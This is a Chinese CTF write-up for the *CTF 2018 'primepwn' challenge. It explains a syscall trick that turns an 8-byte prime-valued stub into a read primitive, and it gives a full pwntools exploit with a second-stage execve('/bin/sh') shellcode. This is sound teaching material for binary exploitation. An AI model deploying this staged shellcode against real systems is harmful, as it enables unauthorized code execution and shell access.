CTF中利用syscall写shellcode及*ctf primepwn writeup

前言

如何写shellcode是二进制选手的基本素养了,本题中通过syscall的一些trick用法来写shellcode,getshell。

赛题链接

https://github.com/eternalsakura/ctf_pwn/tree/master/sixstar/sixstar/primepwn
https://github.com/sixstars/starctf2018/tree/master/pwn-primepwn

前置知识

Linux系统调用

举个例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
.data

msg:
.ascii "Hello, world!\n"
len = . - msg

.text
.global _start

_start:
movq $1, %rax
movq $1, %rdi
movq $msg, %rsi
movq $len, %rdx
syscall

movq $60, %rax
xorq %rdi, %rdi
syscall

输出结果是

1
2
./test
Hello, world!

实际上这里是直接使用了write的syscall,它的系统调用号是1.
其他的syscall的系统调用号可以在系统调用表查看。
我们可以看到我们在示例程序里用到的,1是write,60是exit退出程序。

1
2
1	common	write			sys_write
60 common exit sys_exit

对于64位程序,通过syscall进入系统调用,将系统调用号传入rax,各个参数按照rdi、rsi、rdx的顺序传递到寄存器中,系统调用返回值储存到rax寄存器。

syscall的trick

syscall在所有寄存器都为0的情况下,执行的时候会把rip赋值给rcx。

分析



首先输入一个unsigned long也就是8字节的数据,然后判定输入的数据(写到0x601038)是不是素数,如果不是素数,程序就结束掉,如果是素数,那么继续运行。


可以看到0x601030存放的是指向0x601038的指针。
之后程序会把寄存器都清零,然后跳到0x601030指向的空间执行,也就是跳到0x601038,执行我们写入的数据。

利用

为了方便读者自己调试分析,我就走一遍exp,然后描述一下利用过程。
exp如下,我加了一行gdb.attach用来调试。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
from pwn import *
from pwnlib.util.iters import bruteforce
from parse import *
import string
from hashlib import sha256

context.log_level="debug"
pwn_file="./primepwn"


if len(sys.argv)==1:
conn=process(pwn_file)
pid=conn.pid
gdb.attach(conn) # 用作调试
else:
conn=remote("47.89.18.224",10008)
def brute_force(prefix,s):
return bruteforce(lambda x:sha256(x+prefix).hexdigest()==s,string.ascii_letters+string.digits,length=4)
data=conn.recvline(keepends=False)
prefix,s=parse("sha256(xxxx+{}) == {}",data)
conn.sendline(brute_force(prefix,s))
pid=0

def debug():
log.debug("process pid:%d"%pid)
pause()

def check(s):
for i in range(4,len(s),4):
last=u32(s[i-4:i])
now=u32(s[i:i+4])
if last > now:
return False
return True

code="""
start:
syscall
dec edx
mov esi,ecx
jmp start
"""
payload=asm(code,arch="amd64")
conn.sendline(str(u64(payload)))
log.debug("sleep 20s")
sleep(20)
code="""
mov rsp,rcx
add rsp,0x100
mov rax,0x3b
xor rsi,rsi
xor rdx,rdx
call get_shell
.ascii "/bin/sh"
.byte 0
get_shell:
pop rdi
syscall
"""
conn.send(asm(code,arch="amd64"))
conn.interactive()

然后我们开始调试,如果你使用pwndbg插件,看到的应该和我一样。

这样我们就断在了main函数执行之前,我们的目的是进入main函数单步看exp执行.


所以我们按5次finish(finsh的作用是执行到当前函数结束返回)
现在你应该看到下面这样:

然后单步n,一直单步到main函数最后的jmp。

由程序分析可知,首先我们要准备一个是素数的shellcode,且不能超过8个字节。
利用我们之前提到的syscall trick就可以做到,后面会分析为什么。

1
2
3
4
5
start:
syscall
dec edx
mov esi,ecx
jmp start

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
.text:0000000000400A57 loc_400A57:                             ; CODE XREF: main+56↑j
.text:0000000000400A57 xor rax, rax
.text:0000000000400A5A xor rbx, rbx
.text:0000000000400A5D xor rcx, rcx
.text:0000000000400A60 xor rdx, rdx
.text:0000000000400A63 xor rsi, rsi
.text:0000000000400A66 xor rdi, rdi
.text:0000000000400A69 xor rsp, rsp
.text:0000000000400A6C xor rbp, rbp
.text:0000000000400A6F xor r8, r8
.text:0000000000400A72 xor r9, r9
.text:0000000000400A75 xor r10, r10
.text:0000000000400A78 xor r11, r11
.text:0000000000400A7B xor r12, r12
.text:0000000000400A7E xor r13, r13
.text:0000000000400A81 xor r14, r14
.text:0000000000400A84 xor r15, r15
.text:0000000000400A87 jmp cs:qword_601030

由于在这里我们通过xor把寄存器都清空了,所以在执行syscall的时候,把rip的值赋给了rcx。
syscall执行前

syscall执行后

然后传递参数。

1
2
dec edx
mov esi,ecx

edx从0减去1就是-1,即0xFFFFFFFF。
esi=ecx=rip。
rdi和eax在之前就已经被清零了。

jmp跳到syscall执行,相当于调用sys_read(0,rip,0xFFFFFFFF)

sys_read执行结束后,0x60103a(即rip,也就是下一条要执行的命令)及其之后的指令被覆盖,如下图可以看到我们将继续执行真正的shellcode。


将真正的shellcode读入到rip中,这样,继续执行就执行到了我们的shellcode。

1
2
3
4
5
6
7
8
9
10
11
12
13
code="""
mov rsp,rcx
add rsp,0x100--->这句可以删掉
mov rax,0x3b
xor rsi,rsi
xor rdx,rdx
call get_shell
.ascii "/bin/sh"
.byte 0
get_shell:
pop rdi
syscall
"""

因为之前rsp被置0了,所以为了在栈上保存/bin/sh,用在后面pop rdi。
现在要让rsp指向一个可写的地址,于是把rcx赋值给它。
然后将execve的系统调用号赋值给rax。

1
0x3b		execve			sys_execve/ptregs

传递参数,执行execve(‘/bin/sh’,0,0)来getshell

注意在call的时候,会先把返回地址压栈,而返回地址就是下一条指令,也就是0x601056。

gdb里si跟入call的函数。

然后pop rdi就把参数传进去了,接着syscall就执行了execve(‘/bin/sh’,0,0)

getshell